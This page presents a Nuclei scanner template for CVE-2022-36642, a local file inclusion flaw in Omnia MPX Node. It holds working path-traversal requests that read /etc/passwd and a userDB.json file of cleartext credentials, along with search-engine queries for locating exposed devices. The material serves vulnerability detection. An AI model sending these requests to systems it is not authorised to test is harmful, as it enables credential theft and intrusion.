Omnia MPX 1.5.0+r1 - Local File Inclusion

ID: CVE-2022-36642

Severity: critical

Author: arafatansari,ritikchaddha,For3stCo1d

Tags: cve,cve2022,traversal,omnia,edb,lfi,telosalliance

Description

Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.

YAML Source

id: CVE-2022-36642

info:
  name: Omnia MPX 1.5.0+r1 - Local File Inclusion
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: |
    Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Omnia MPX.
  reference:
    - https://www.exploit-db.com/exploits/50996
    - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36642
    - https://www.telosalliance.com/radio-processing/audio-interfaces/omnia-mpx-node
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36642
    cwe-id: CWE-862
    epss-score: 0.68515
    epss-percentile: 0.97692
    cpe: cpe:2.3:o:telosalliance:omnia_mpx_node_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telosalliance
    product: omnia_mpx_node_firmware
    shodan-query:
      - http.title:"Omnia MPX Node | Login"
      - http.title:"omnia mpx node | login"
    fofa-query: title="omnia mpx node | login"
    google-query: intitle:"omnia mpx node | login"
  tags: cve,cve2022,traversal,omnia,edb,lfi,telosalliance

http:
  - method: GET
    path:
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd"
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"password":'
          - '"mustChangePwd":'
          - '"roleUser":'
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0"
# digest: 490a00463044022007a5628a5b643fd46daff715d6350bd09415d93b248d19b27f42f1cf9397f10602205754f3f1e9cb894219742ebf18416822e91d586fa1670dd8efcaf85fd719afc4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-36642.yaml"

View on Github